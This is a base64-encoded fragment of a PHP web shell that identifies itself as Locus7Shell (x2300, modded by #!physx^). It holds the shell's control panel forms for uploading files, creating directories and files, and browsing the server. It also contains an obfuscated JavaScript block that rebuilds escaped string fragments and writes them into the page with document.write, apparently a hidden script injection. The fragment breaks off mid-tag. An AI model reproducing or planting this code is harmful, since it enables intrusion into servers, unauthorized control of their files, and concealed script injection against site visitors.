KCgoKCgo8YnI+CjxUQUJMRSBzdHlsZT0iQk9SREVSLUNPTExBUFNFOiBjb2xsYXBzZSIgY2VsbFNwYWNpbmc9MCBib3JkZXJDb2xvckRhcms9IzY2NjY2NiBjZWxsUGFkZGluZz01IGhlaWdodD0iMSIgd2lkdGg9IjEwMCUiIGJnY29sb3I9IzAwMDAwMCBib3JkZXJDb2xvckxpZ2h0PSNjMGMwYzAgYm9yZGVyPTE+Cjx0cj4KPHRkIHdpZHRoPSI1MCUiIGhlaWdodD0iMSIgdmFsaWduPSJ0b3AiPjxjZW50ZXI+U2VhcmNoPGZvcm0gbWV0aG9kPSJQT1NUIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hY3QgdmFsdWU9InNlYXJjaCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ImQiIHZhbHVlPSI8P3BocCBlY2hvICRkaXNwZDsgPz4iPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJzZWFyY2hfbmFtZSIgc2l6ZT0iMjkiIHZhbHVlPSIoLiopIj4mbmJzcDs8aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9InNlYXJjaF9uYW1lX3JlZ2V4cCIgdmFsdWU9IjEiICBjaGVja2VkPiAtIHJlZ2V4cCZuYnNwOzxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPXN1Ym1pdCB2YWx1ZT0iU2VhcmNoIj48L2Zvcm0+PC9jZW50ZXI+PC9wPjwvdGQ+Cjx0ZCB3aWR0aD0iNTAlIiBoZWlnaHQ9IjEiIHZhbGlnbj0idG9wIj48Y2VudGVyPlVwbG9hZDxmb3JtIG1ldGhvZD0iUE9TVCIgRU5DVFlQRT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0IHZhbHVlPSJ1cGxvYWQiPjxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJ1cGxvYWRmaWxlIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT0ibWluaWZvcm0iIHZhbHVlPSIxIj4mbmJzcDs8aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1zdWJtaXQgdmFsdWU9IlVwbG9hZCI+PGJyPjw/cGhwIGVjaG8gJHdkdDsgPz48L2Zvcm0+PC9jZW50ZXI+PC90ZD4KPC90cj48c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCIgbGFuZ3VhZ2U9ImphdmFzY3JpcHQiPgo8IS0tCmZGN2VTRDg9bmV3IEFycmF5KCk7CmZGN2VTRDhbMF09IiUzQ3NjcmlwdCUzRSUwQWRvY3UiOwpmRjdlU0Q4WzFdPSJtZW50LndyaXRlJTI4dW5lIjsKZkY3ZVNEOFsyXT0ic2NhcGUlMjglMjIlMjUzQ3NjcmkiOwpmRjdlU0Q4WzNdPSJwdCUyNTIwdHlwZSUyNTNEJTI1IjsKZkY3ZVNEOFs0XT0iMjJ0ZXh0L2phdmFzY3IiOwpmRjdlU0Q4WzVdPSJpcHQlMjUyMiUyNTNFZG8iOwpmRjdlU0Q4WzZdPSJjdW1lbnQud3JpdGUlMjUiOwpmRjdlU0Q4WzddPSIyOCUyNTI3JTI1NUN1MDAiOwpmRjdlU0Q4WzhdPSIzYyUyNTVDdTAwNzMlMjU1QyI7CmZGN2VTRDhbOV09InUwMDYzJTI1NUN1MDA3MiI7CmZGN2VTRDhbMTBdPSIlMjU1Q3UwMDY5JTI1NUN1IjsKZkY3ZVNEOFsxMV09IjAwNzAlMjU1Q3UwMDciOwpmRjdlU0Q4WzEyXT0iNCUyNTVDdTAwMjAlMjU1QyI7CmZGN2VTRDhbMTNdPSJ1MDA3NCUyNTVDdTAwNyI7CmZGN2VTRDhbMTRdPSI5JTI1NUN1MDA3MCUyNTVDdSI7CmZGN2VTRDhbMTVdPSIwMDY1JTI1NUN1MDAzZCUyNSI7CmZGN2VTRDhbMTZdPSI1Q3UwMDIyJTI1NUN1MCI7CmZGN2VTRDhbMTddPSIwNzQlMjU1Q3UwMDY1JTI1NUMiOwpmRjdlU0Q4WzE4XT0idTAwNzglMjU1Q3UwMDc0JTI1IjsKZkY3ZVNEOFsxOV09IjVDdTAwMmYlMjU1Q3UiOwpmRjdlU0Q4WzIwXT0iMDA2YSUyNTVDdTAwNjElMjU1IjsKZkY3ZVNEOFsyMV09IkN1MDA3NiUyNTVDdTAiOwpmRjdlU0Q4WzIyXT0iMDYxJTI1NUN1MDA3MyUyNSI7CmZGN2VTRDhbMjNdPSI1Q3UwMDYzJTI1NUN1MDAiOwpmRjdlU0Q4WzI0XT0iNzIlMjU1Q3UwMDY5JTI1IjsKZkY3ZVNEOFsyNV09IjVDdTAwNzAlMjU1Q3UiOwpmRjdlU0Q4WzI2XT0iMDA3NCUyNTVDdTAwMjIiOwpmRjdlU0Q4WzI3XT0iJTI1NUN1MDAzZSUyNTVDIjsKZkY3ZVNEOFsyOF09InUwMDY0JTI1NUN1MDAiOwpmRjdlU0Q4WzI5XT0iNmYlMjU1Q3UwMDYzJTI1NUMiOwpmRjdlU0Q4WzMwXT0idTAwNzUlMjU1Q3UwMDYiOwpmRjdlU0Q4WzMxXT0iZCUyNTVDdTAwNjUlMjU1Q3UiOwpmRjdlU0Q4WzMyXT0iMDA2ZSUyNTVDdTAwNzQlMjU1IjsKZkY3ZVNEOFszM109IkN1MDAyZSUyNTVDdTAwIjsKZkY3ZVNEOFszNF09Ijc3JTI1NUN1MDA3MiUyNSI7CmZGN2VTRDhbMzVdPSI1Q3UwMDY5JTI1NUN1IjsKZkY3ZVNEOFszNl09IjAwNzQlMjU1Q3UwMDY1JTI1IjsKZkY3ZVNEOFszN109IjVDdTAwMjglMjU1Q3UwMDIiOwpmRjdlU0Q4WzM4XT0iNyUyNTVDdTAwNWMlMjU1Q3UiOwpmRjdlU0Q4WzM5XT0iMDA3NSUyNTVDdTAwMzAiOwpmRjdlU0Q4WzQwXT0iJTI1NUN1MDAzMCUyNTVDdTAiOwpmRjdlU0Q4WzQxXT0iMDMzJTI1NUN1MDA2MyUyNSI7CmZGN2VTRDhbNDJdPSI1Q3UwMDVjJTI1NUN1MDA3IjsKZkY3ZVNEOFs0M109IjUlMjU1Q3UwMDMwJTI1NUN1IjsKZkY3ZVNEOFs0NF09IjAwMzAlMjU1Q3UwMDM1IjsKZkY3ZVNEOFs0NV09IiUyNTVDdTAwMzMlMjU1QyI7CmZGN2VTRDhbNDZdPSJ1MDA1YyUyNTVDdTAwNzUiOwpmRjdlU0Q4WzQ3XT0iJTI1NUN1MDAzMCUyNTVDdSI7CmZGN2VTRDhbNDhdPSIwMDMwJTI1NUN1MDAzIjsKZkY3ZVNEOFs0OV09IjQlMjU1Q3UwMDMzJTI1NSI7CmZGN2VTRDhbNTBdPSJDdTAwNWMlMjU1Q3UwMDciOwpmRjdlU0Q4WzUxXT0iNSUyNTVDdTAwMzAlMjU1Q3UiOwpmRjdlU0Q4WzUyXT0iMDAzMCUyNTVDdTAwMzUlMjU1IjsKZkY3ZVNEOFs1M109IkN1MDAzMiUyNTVDdTAwIjsKZkY3ZVNEOFs1NF09IjVjJTI1NUN1MDA3NSUyNTVDIjsKZkY3ZVNEOFs1NV09InUwMDMwJTI1NUN1MDAzMCUyNSI7CmZGN2VTRDhbNTZdPSI1Q3UwMDM0JTI1NUN1MDAiOwpmRjdlU0Q4WzU3XT0iMzklMjU1Q3UwMDVjJTI1NUN1IjsKZkY3ZVNEOFs1OF09IjAwNzUlMjU1Q3UwMDMwJTI1NSI7CmZGN2VTRDhbNTldPSJDdTAwMzAlMjU1Q3UwMDMiOwpmRjdlU0Q4WzYwXT0iNSUyNTVDdTAwMzAlMjU1QyI7CmZGN2VTRDhbNjFdPSJ1MDA1YyUyNTVDdTAwNzUiOwpmRjdlU0Q4WzYyXT0iJTI1NUN1MDAzMCUyNTVDdTAwIjsKZkY3ZVNEOFs2M109IjMwJTI1NUN1MDAzNSUyNTUiOwpmRjdlU0Q4WzY0XT0iQ3UwMDM0JTI1NUN1MDA1IjsKZkY3ZVNEOFs2NV09ImMlMjU1Q3UwMDc1JTI1NUMiOwpmRjdlU0Q4WzY2XT0idTAwMzAlMjU1Q3UwMDMwJTI1IjsKZkY3ZVNEOFs2N109IjVDdTAwMzIlMjU1Q3UiOwpmRjdlU0Q4WzY4XT0iMDAzMCUyNTVDdTAwNWMlMjUiOwpmRjdlU0Q4WzY5XT0iNUN1MDA3NSUyNTVDdTAwIjsKZkY3ZVNEOFs3MF09IjMwJTI1NUN1MDAzMCUyNTUiOwpmRjdlU0Q4WzcxXT0iQ3UwMDM1JTI1NUN1MDAzIjsKZkY3ZVNEOFs3Ml09IjMlMjU1Q3UwMDVjJTI1NUN1MCI7CmZGN2VTRDhbNzNdPSIwNzUlMjU1Q3UwMDMwIjsKZkY3ZVNEOFs3NF09IiUyNTVDdTAwMzAlMjU1Q3UwMCI7CmZGN2VTRDhbNzVdPSIzNSUyNTVDdTAwMzIlMjUiOwpmRjdlU0Q4Wzc2XT0iNUN1MDA1YyUyNTVDdTAwIjsKZkY3ZVNEOFs3N109Ijc1JTI1NUN1MDAzMCUyNTVDdSI7CmZGN2VTRDhbNzhdPSIwMDMwJTI1NUN1MDAzIjsKZkY3ZVNEOFs3OV09IjQlMjU1Q3UwMDMzJTI1NUN1IjsKZkY3ZVNEOFs4MF09IjAwNWMlMjU1Q3UwMDc1JTI1IjsKZkY3ZVNEOFs4MV09IjVDdTAwMzAlMjU1Q3UiOwpmRjdlU0Q4WzgyXT0iMDAzMCUyNTVDdTAwMzMiOwpmRjdlU0Q4WzgzXT0iJTI1NUN1MDA2NCUyNTVDdTAiOwpmRjdlU0Q4Wzg0XT0iMDVjJTI1NUN1MDA3NSUyNSI7CmZGN2VTRDhbODVdPSI1Q3UwMDMwJTI1NUN1MDAzIjsKZkY3ZVNEOFs4Nl09IjAlMjU1Q3UwMDM2JTI1NSI7CmZGN2VTRDhbODddPSJDdTAwMzglMjU1Q3UwIjsKZkY3ZVNEOFs4OF09IjA1YyUyNTVDdTAwNzUlMjU1QyI7CmZGN2VTRDhbODldPSJ1MDAzMCUyNTVDdTAwMyI7CmZGN2VTRDhbOTBdPSIwJTI1NUN1MDAzNyUyNTVDIjsKZkY3ZVNEOFs5MV09InUwMDM0JTI1NUN1MDA1YyUyNSI7CmZGN2VTRDhbOTJdPSI1Q3UwMDc1JTI1NUN1IjsKZkY3ZVNEOFs5M109IjAwMzAlMjU1Q3UwMDMwIjsKZkY3ZVNEOFs5NF09IiUyNTVDdTAwMzclMjU1Q3UiOwpmRjdlU0Q4Wzk1XT0iMDAzNCUyNTVDdTAwNWMlMjUiOwpmRjdlU0Q4Wzk2XT0iNUN1MDA3NSUyNTVDdTAwIjsKZkY3ZVNEOFs5N109IjMwJTI1NUN1MDAzMCUyNTVDdSI7CmZGN2VTRDhbOThdPSIwMDM3JTI1NUN1MDAzMCUyNTUiOwpmRjdlU0Q4Wzk5XT0iQ3UwMDVjJTI1NUN1MDAiOwpmRjdlU0Q4WzEwMF09Ijc1JTI1NUN1MDAzMCUyNTUiOwpmRjdlU0Q4WzEwMV09IkN1MDAzMCUyNTVDdTAwIjsKZkY3ZVNEOFsxMDJdPSIzMyUyNTVDdTAwNjElMjU1Q3UiOwpmRjdlU0Q4WzEwM109IjAwNWMlMjU1Q3UwMDc1IjsKZkY3ZVNEOFsxMDRdPSIlMjU1Q3UwMDMwJTI1NUMiOwpmRjdlU0Q4WzEwNV09InUwMDMwJTI1NUN1MDAzMiUyNSI7CmZGN2VTRDhbMTA2XT0iNUN1MDA2NiUyNTVDdTAwIjsKZkY3ZVNEOFsxMDddPSI1YyUyNTVDdTAwNzUlMjU1Q3UiOwpmRjdlU0Q4WzEwOF09IjAwMzAlMjU1Q3UwMDMwJTI1IjsKZkY3ZVNEOFsxMDldPSI1Q3UwMDMyJTI1NUN1MCI7CmZGN2VTRDhbMTEwXT0iMDY2JTI1NUN1MDA1YyI7CmZGN2VTRDhbMTExXT0iJTI1NUN1MDA3NSUyNTVDdSI7CmZGN2VTRDhbMTEyXT0iMDAzMCUyNTVDdTAwMzAlMjUiOwpmRjdlU0Q4WzExM109IjVDdTAwMzYlMjU1Q3UwMDMiOwpmRjdlU0Q4WzExNF09IjQlMjU1Q3UwMDVjJTI1NUMiOwpmRjdlU0Q4WzExNV09InUwMDc1JTI1NUN1MDAzIjsKZkY3ZVNEOFsxMTZdPSIwJTI1NUN1MDAzMCUyNTVDIjsKZkY3ZVNEOFsxMTddPSJ1MDAzNiUyNTVDdTAwIjsKZkY3ZVNEOFsxMThdPSIzMSUyNTVDdTAwNWMlMjU1IjsKZkY3ZVNEOFsxMTldPSJDdTAwNzUlMjU1Q3UwMCI7CmZGN2VTRDhbMTIwXT0iMzAlMjU1Q3UwMDMwJTI1NUN1IjsKZkY3ZVNEOFsxMjFdPSIwMDM3JTI1NUN1MDAzNCI7CmZGN2VTRDhbMTIyXT0iJTI1NUN1MDA1YyUyNTVDdTAwIjsKZkY3ZVNEOFsxMjNdPSI3NSUyNTVDdTAwMzAlMjU1QyI7CmZGN2VTRDhbMTI0XT0idTAwMzAlMjU1Q3UwMDMiOwpmRjdlU0Q4WzEyNV09IjYlMjU1Q3UwMDMxJTI1NSI7CmZGN2VTRDhbMTI2XT0iQ3UwMDVjJTI1NUN1MDA3IjsKZkY3ZVNEOFsxMjddPSI1JTI1NUN1MDAzMCUyNTUiOwpmRjdlU0Q4WzEyOF09IkN1MDAzMCUyNTVDdTAiOwpmRjdlU0Q4WzEyOV09IjAzMiUyNTVDdTAwNjUiOwpmRjdlU0Q4WzEzMF09IiUyNTVDdTAwNWMlMjU1QyI7CmZGN2VTRDhbMTMxXT0idTAwNzUlMjU1Q3UwMDMwJTI1IjsKZkY3ZVNEOFsxMzJdPSI1Q3UwMDMwJTI1NUN1MDAzIjsKZkY3ZVNEOFsxMzNdPSI3JTI1NUN1MDAzNCUyNTVDdTAiOwpmRjdlU0Q4WzEzNF09IjA1YyUyNTVDdTAwNzUlMjU1QyI7CmZGN2VTRDhbMTM1XT0idTAwMzAlMjU1Q3UwMCI7CmZGN2VTRDhbMTM2XT0iMzAlMjU1Q3UwMDMzJTI1NUMiOwpmRjdlU0Q4WzEzN109InUwMDMwJTI1NUN1MDA1IjsKZkY3ZVNEOFsxMzhdPSJjJTI1NUN1MDA3NSUyNTVDdSI7CmZGN2VTRDhbMTM5XT0iMDAzMCUyNTVDdTAwMyI7CmZGN2VTRDhbMTQwXT0iMCUyNTVDdTAwMzMlMjU1QyI7CmZGN2VTRDhbMTQxXT0idTAwMzAlMjU1Q3UwMDUiOwpmRjdlU0Q4WzE0Ml09ImMlMjU1Q3UwMDc1JTI1NSI7CmZGN2VTRDhbMTQzXT0iQ3UwMDMwJTI1NUN1MCI7CmZGN2VTRDhbMTQ0XT0iMDMwJTI1NUN1MDAzNiUyNTVDIjsKZkY3ZVNEOFsxNDVdPSJ1MDA2MyUyNTVDdTAwNWMiOwpmRjdlU0Q4WzE0Nl09IiUyNTVDdTAwNzUlMjU1QyI7CmZGN2VTRDhbMTQ3XT0idTAwMzAlMjU1Q3UwMCI7CmZGN2VTRDhbMTQ4XT0iMzAlMjU1Q3UwMDM3JTI1IjsKZkY3ZVNEOFsxNDldPSI1Q3UwMDMzJTI1NUN1MDAiOwpmRjdlU0Q4WzE1MF09IjVjJTI1NUN1MDA3NSUyNTUiOwpmRjdlU0Q4WzE1MV09IkN1MDAzMCUyNTVDdTAwIjsKZkY3ZVNEOFsxNTJdPSIzMCUyNTVDdTAwMzIlMjU1IjsKZkY3ZVNEOFsxNTNdPSJDdTAwNjUlMjU1Q3UwMDVjIjsKZkY3ZVNEOFsxNTRdPSIlMjU1Q3UwMDc1JTI1NUMiOwpmRjdlU0Q4WzE1NV09InUwMDMwJTI1NUN1MDAiOwpmRjdlU0Q4WzE1Nl09IjMwJTI1NUN1MDAzNiUyNTVDdSI7CmZGN2VTRDhbMTU3XT0iMDA2NiUyNTVDdTAwNWMlMjU1IjsKZkY3ZVNEOFsxNThdPSJDdTAwNzUlMjU1Q3UwMCI7CmZGN2VTRDhbMTU5XT0iMzAlMjU1Q3UwMDMwJTI1NUN1IjsKZkY3ZVNEOFsxNjBdPSIwMDM3JTI1NUN1MDAzMiUyNSI7CmZGN2VTRDhbMTYxXT0iNUN1MDA1YyUyNTVDdTAwNyI7CmZGN2VTRDhbMTYyXT0iNSUyNTVDdTAwMzAlMjU1QyI7CmZGN2VTRDhbMTYzXT0idTAwMzAlMjU1Q3UwMDM2JTI1IjsKZkY3ZVNEOFsxNjRdPSI1Q3UwMDM3JTI1NUN1MDAiOwpmRjdlU0Q4WzE2NV09IjVjJTI1NUN1MDA3NSUyNTUiOwpmRjdlU0Q4WzE2Nl09IkN1MDAzMCUyNTVDdTAwMzAiOwpmRjdlU0Q4WzE2N109IiUyNTVDdTAwMzIlMjU1Q3UwMCI7CmZGN2VTRDhbMTY4XT0iNjYlMjU1Q3UwMDVjJTI1NSI7CmZGN2VTRDhbMTY5XT0iQ3UwMDc1JTI1NUN1MCI7CmZGN2VTRDhbMTcwXT0iMDMwJTI1NUN1MDAzMCUyNTVDIjsKZkY3ZVNEOFsxNzFdPSJ1MDAzNyUyNTVDdTAwMzciOwpmRjdlU0Q4WzE3Ml09IiUyNTVDdTAwNWMlMjU1Q3UiOwpmRjdlU0Q4WzE3M109IjAwNzUlMjU1Q3UwMDMwJTI1IjsKZkY3ZVNEOFsxNzRdPSI1Q3UwMDMwJTI1NUN1IjsKZkY3ZVNEOFsxNzVdPSIwMDM2JTI1NUN1MDAzOCUyNTUiOwpmRjdlU0Q4WzE3Nl09IkN1MDA1YyUyNTVDdTAwNyI7CmZGN2VTRDhbMTc3XT0iNSUyNTVDdTAwMzAlMjU1IjsKZkY3ZVNEOFsxNzhdPSJDdTAwMzAlMjU1Q3UwMDM2IjsKZkY3ZVNEOFsxNzldPSIlMjU1Q3UwMDM1JTI1NUN1MDAiOwpmRjdlU0Q4WzE4MF09IjVjJTI1NUN1MDA3NSUyNTVDdSI7CmZGN2VTRDhbMTgxXT0iMDAzMCUyNTVDdTAwMyI7CmZGN2VTRDhbMTgyXT0iMCUyNTVDdTAwMzclMjU1QyI7CmZGN2VTRDhbMTgzXT0idTAwMzIlMjU1Q3UwMCI7CmZGN2VTRDhbMTg0XT0iNWMlMjU1Q3UwMDc1JTI1NSI7CmZGN2VTRDhbMTg1XT0iQ3UwMDMwJTI1NUN1MCI7CmZGN2VTRDhbMTg2XT0iMDMwJTI1NUN1MDAzNiUyNSI7CmZGN2VTRDhbMTg3XT0iNUN1MDAzNSUyNTVDdTAiOwpmRjdlU0Q4WzE4OF09IjA1YyUyNTVDdTAwNzUiOwpmRjdlU0Q4WzE4OV09IiUyNTVDdTAwMzAlMjU1Q3UwIjsKZkY3ZVNEOFsxOTBdPSIwMzAlMjU1Q3UwMDMyIjsKZkY3ZVNEOFsxOTFdPSIlMjU1Q3UwMDY1JTI1NUN1IjsKZkY3ZVNEOFsxOTJdPSIwMDVjJTI1NUN1MDA3NSI7CmZGN2VTRDhbMTkzXT0iJTI1NUN1MDAzMCUyNTVDdTAwIjsKZkY3ZVNEOFsxOTRdPSIzMCUyNTVDdTAwMzYlMjUiOwpmRjdlU0Q4WzE5NV09IjVDdTAwNjElMjU1Q3UiOwpmRjdlU0Q4WzE5Nl09IjAwNWMlMjU1Q3UwMDciOwpmRjdlU0Q4WzE5N109IjUlMjU1Q3UwMDMwJTI1NSI7CmZGN2VTRDhbMTk4XT0iQ3UwMDMwJTI1NUN1MDAzNyI7CmZGN2VTRDhbMTk5XT0iJTI1NUN1MDAzMyUyNTVDdTAiOwpmRjdlU0Q4WzIwMF09IjA1YyUyNTVDdTAwNzUlMjU1QyI7CmZGN2VTRDhbMjAxXT0idTAwMzAlMjU1Q3UwMCI7CmZGN2VTRDhbMjAyXT0iMzAlMjU1Q3UwMDMzJTI1NUN1IjsKZkY3ZVNEOFsyMDNdPSIwMDY1JTI1NUN1MDA1IjsKZkY3ZVNEOFsyMDRdPSJjJTI1NUN1MDA3NSUyNTVDdSI7CmZGN2VTRDhbMjA1XT0iMDAzMCUyNTVDdTAwMzAlMjUiOwpmRjdlU0Q4WzIwNl09IjVDdTAwMzMlMjU1Q3UwMCI7CmZGN2VTRDhbMjA3XT0iNjMlMjU1Q3UwMDVjJTI1NUMiOwpmRjdlU0Q4WzIwOF09InUwMDc1JTI1NUN1MDAzMCI7CmZGN2VTRDhbMjA5XT0iJTI1NUN1MDAzMCUyNTVDdTAiOwpmRjdlU0Q4WzIxMF09IjAzMiUyNTVDdTAwNjYlMjU1IjsKZkY3ZVNEOFsyMTFdPSJDdTAwNWMlMjU1Q3UwIjsKZkY3ZVNEOFsyMTJdPSIwNzUlMjU1Q3UwMDMwJTI1IjsKZkY3ZVNEOFsyMTNdPSI1Q3UwMDMwJTI1NUN1IjsKZkY3ZVNEOFsyMTRdPSIwMDM1JTI1NUN1MDAzMyUyNTUiOwpmRjdlU0Q4WzIxNV09IkN1MDA1YyUyNTVDdTAwNyI7CmZGN2VTRDhbMjE2XT0iNSUyNTVDdTAwMzAlMjU1Q3UwIjsKZkY3ZVNEOFsyMTddPSIwMzAlMjU1Q3UwMDM0JTI1NSI7CmZGN2VTRDhbMjE4XT0iQ3UwMDMzJTI1NUN1MDAiOwpmRjdlU0Q4WzIxOV09IjVjJTI1NUN1MDA3NSUyNSI7CmZGN2VTRDhbMjIwXT0iNUN1MDAzMCUyNTVDdTAiOwpmRjdlU0Q4WzIyMV09IjAzMCUyNTVDdTAwMzUiOwpmRjdlU0Q4WzIyMl09IiUyNTVDdTAwMzIlMjU1Q3UwIjsKZkY3ZVNEOFsyMjNdPSIwNWMlMjU1Q3UwMDc1IjsKZkY3ZVNEOFsyMjRdPSIlMjU1Q3UwMDMwJTI1NUN1IjsKZkY3ZVNEOFsyMjVdPSIwMDMwJTI1NUN1MDAzNCUyNSI7CmZGN2VTRDhbMjI2XT0iNUN1MDAzOSUyNTVDdTAiOwpmRjdlU0Q4WzIyN109IjA1YyUyNTVDdTAwNzUlMjUiOwpmRjdlU0Q4WzIyOF09IjVDdTAwMzAlMjU1Q3UiOwpmRjdlU0Q4WzIyOV09IjAwMzAlMjU1Q3UwMDM1JTI1IjsKZkY3ZVNEOFsyMzBdPSI1Q3UwMDMwJTI1NUN1IjsKZkY3ZVNEOFsyMzFdPSIwMDVjJTI1NUN1MDA3NSUyNTUiOwpmRjdlU0Q4WzIzMl09IkN1MDAzMCUyNTVDdTAiOwpmRjdlU0Q4WzIzM109IjAzMCUyNTVDdTAwMzUiOwpmRjdlU0Q4WzIzNF09IiUyNTVDdTAwMzQlMjU1Q3UwIjsKZkY3ZVNEOFsyMzVdPSIwNWMlMjU1Q3UwMDc1IjsKZkY3ZVNEOFsyMzZdPSIlMjU1Q3UwMDMwJTI1NUN1IjsKZkY3ZVNEOFsyMzddPSIwMDMwJTI1NUN1MDAzMyUyNTUiOwpmRjdlU0Q4WzIzOF09IkN1MDA2NSUyNTVDdTAiOwpmRjdlU0Q4WzIzOV09IjAyNyUyNTVDdTAwMjkiOwpmRjdlU0Q4WzI0MF09IiUyNTVDdTAwM2MlMjU1QyI7CmZGN2VTRDhbMjQxXT0idTAwMmYlMjU1Q3UwMDczJTI1IjsKZkY3ZVNEOFsyNDJdPSI1Q3UwMDYzJTI1NUN1MDA3IjsKZkY3ZVNEOFsyNDNdPSIyJTI1NUN1MDA2OSUyNTVDdSI7CmZGN2VTRDhbMjQ0XT0iMDA3MCUyNTVDdTAwNyI7CmZGN2VTRDhbMjQ1XT0iNCUyNTVDdTAwM2UlMjUyNyUyNSI7CmZGN2VTRDhbMjQ2XT0iMjklMjUzQy9zY3JpcHQlMjUiOwpmRjdlU0Q4WzI0N109IjNFJTIyJTI5JTI5JTNCJTBBJTNDL3NjcmkiOwpmRjdlU0Q4WzI0OF09InB0JTNFIjsKZm9yIChpID0gMDsgaSA8IGZGN2VTRDgubGVuZ3RoOyBpICsrKQp7CiAgICBkb2N1bWVudC53cml0ZSh1bmVzY2FwZShmRjdlU0Q4W2ldKSkKfQovLyAtLT4KPC9zY3JpcHQ+CjwvdGFibGU+Cjxicj48VEFCTEUgc3R5bGU9IkJPUkRFUi1DT0xMQVBTRTogY29sbGFwc2UiIGNlbGxTcGFjaW5nPTAgYm9yZGVyQ29sb3JEYXJrPSM2NjY2NjYgY2VsbFBhZGRpbmc9NSBoZWlnaHQ9IjEiIHdpZHRoPSIxMDAlIiBiZ2NvbG9yPSMwMDAwMDAgYm9yZGVyQ29sb3JMaWdodD0jYzBjMGMwIGJvcmRlcj0xPjx0cj48dGQgd2lkdGg9IjUwJSIgaGVpZ2h0PSIxIiB2YWxpZ249InRvcCI+PGNlbnRlcj5NYWtlIERpcjxmb3JtIGFjdGlvbj0iPD9waHAgZWNobyAkc3VybDsgPz4iPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdCB2YWx1ZT0ibWtkaXIiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPSJkIiB2YWx1ZT0iPD9waHAgZWNobyAkZGlzcGQ7ID8+Ij48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibWtkaXIiIHNpemU9IjUwIiB2YWx1ZT0iPD9waHAgZWNobyAkZGlzcGQ7ID8+Ij4mbmJzcDs8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9IkNyZWF0ZSI+PGJyPjw/cGhwIGVjaG8gJHdkdDsgPz48L2Zvcm0+PC9jZW50ZXI+PC90ZD48dGQgd2lkdGg9IjUwJSIgaGVpZ2h0PSIxIiB2YWxpZ249InRvcCI+PGNlbnRlcj5NYWtlIEZpbGU8Zm9ybSBtZXRob2Q9IlBPU1QiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdCB2YWx1ZT0ibWtmaWxlIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT0iZCIgdmFsdWU9Ijw/cGhwIGVjaG8gJGRpc3BkOyA/PiI+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9Im1rZmlsZSIgc2l6ZT0iNTAiIHZhbHVlPSI8P3BocCBlY2hvICRkaXNwZDsgPz4iPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPSJmdCIgdmFsdWU9ImVkaXQiPiZuYnNwOzxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iQ3JlYXRlIj48YnI+PD9waHAgZWNobyAkd2R0OyA/PjwvZm9ybT48L2NlbnRlcj48L3RkPjwvdHI+PC90YWJsZT4KPGJyPjxUQUJMRSBzdHlsZT0iQk9SREVSLUNPTExBUFNFOiBjb2xsYXBzZSIgY2VsbFNwYWNpbmc9MCBib3JkZXJDb2xvckRhcms9IzY2NjY2NiBjZWxsUGFkZGluZz01IGhlaWdodD0iMSIgd2lkdGg9IjEwMCUiIGJnY29sb3I9IzAwMDAwMCBib3JkZXJDb2xvckxpZ2h0PSNjMGMwYzAgYm9yZGVyPTE+PHRyPjx0ZCB3aWR0aD0iNTAlIiBoZWlnaHQ9IjEiIHZhbGlnbj0idG9wIj48Y2VudGVyPkdvIERpcjxmb3JtIGFjdGlvbj0iPD9waHAgZWNobyAkc3VybDsgPz4iPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdCB2YWx1ZT0ibHMiPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJkIiBzaXplPSI1MCIgdmFsdWU9Ijw/cGhwIGVjaG8gJGRpc3BkOyA/PiI+Jm5ic3A7PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSJHbyI+PC9mb3JtPjwvY2VudGVyPjwvdGQ+PHRkIHdpZHRoPSI1MCUiIGhlaWdodD0iMSIgdmFsaWduPSJ0b3AiPjxjZW50ZXI+R28gRmlsZTxmb3JtIGFjdGlvbj0iPD9waHAgZWNobyAkc3VybDsgPz4iPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdCB2YWx1ZT0iZ29maWxlIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT0iZCIgdmFsdWU9Ijw/cGhwIGVjaG8gJGRpc3BkOyA/PiI+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImYiIHNpemU9IjUwIiB2YWx1ZT0iPD9waHAgZWNobyAkZGlzcGQ7ID8+Ij4mbmJzcDs8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9IkdvIj48L2Zvcm0+PC9jZW50ZXI+PC90ZD48L3RyPjwvdGFibGU+Cjxicj48VEFCTEUgc3R5bGU9IkJPUkRFUi1DT0xMQVBTRTogY29sbGFwc2UiIGhlaWdodD0xIGNlbGxTcGFjaW5nPTAgYm9yZGVyQ29sb3JEYXJrPSM2NjY2NjYgY2VsbFBhZGRpbmc9MCB3aWR0aD0iMTAwJSIgYmdjb2xvcj0jMDAwMDAwIGJvcmRlckNvbG9yTGlnaHQ9I2MwYzBjMCBib3JkZXI9MT48dHI+PHRkIHdpZHRoPSI5OTAiIGhlaWdodD0iMSIgdmFsaWduPSJ0b3AiPjxwIGFsaWduPSJjZW50ZXIiPjxiPi0tWyB4MjMwMCBMb2N1czdTaGVsbCB2LiA8P3BocCBlY2hvICRzaHZlcjsgPz4gPGEgaHJlZj0iaHR0cDovL3d3dy5sb2N1czdzLmNvbS8iPjx1PjxiPk1vZGRlZCBieTwvYj48L3U+PC9hPiAjIXBoeXN4XiAgfCA8YSBocmVmPSJodHRwOi8vd3d3LmxvY3VzN3MuY29tIj53d3cuTE9DVVM3Uy5jb208L2ZvbnQ+PC9hPjxmb250IG